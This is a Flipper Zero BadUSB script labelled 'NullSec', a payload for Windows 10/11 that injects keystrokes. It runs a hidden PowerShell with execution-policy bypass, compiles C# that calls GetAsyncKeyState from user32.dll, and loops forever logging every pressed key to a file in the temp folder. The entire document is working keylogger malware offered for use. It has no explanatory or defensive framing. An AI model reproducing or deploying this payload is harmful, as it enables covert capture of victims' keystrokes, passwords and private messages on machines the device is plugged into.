REM ========================================
REM NullSec Flipper Zero BadUSB
REM Payload: PowerShell Keylogger
REM Target: Windows 10/11
REM ========================================
DELAY 1000
GUI r
DELAY 500
STRING powershell -w hidden -ep bypass -c "$code = @'
ENTER
STRING Add-Type -TypeDefinition @"
ENTER
STRING using System; using System.Runtime.InteropServices;
ENTER
STRING public class KL { [DllImport(\"user32.dll\")] public static extern int GetAsyncKeyState(Int32 i); }
ENTER
STRING "@ -Language CSharp
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STRING $log = \"$env:TEMP\kl.txt\"; while($true){Start-Sleep -Milliseconds 40
ENTER
STRING for($i=8;$i -le 190;$i++){if([KL]::GetAsyncKeyState($i) -eq -32767){$k=[char]$i;$k|Out-File $log -Append}}}
ENTER
STRING '@ ; Invoke-Expression $code"
ENTER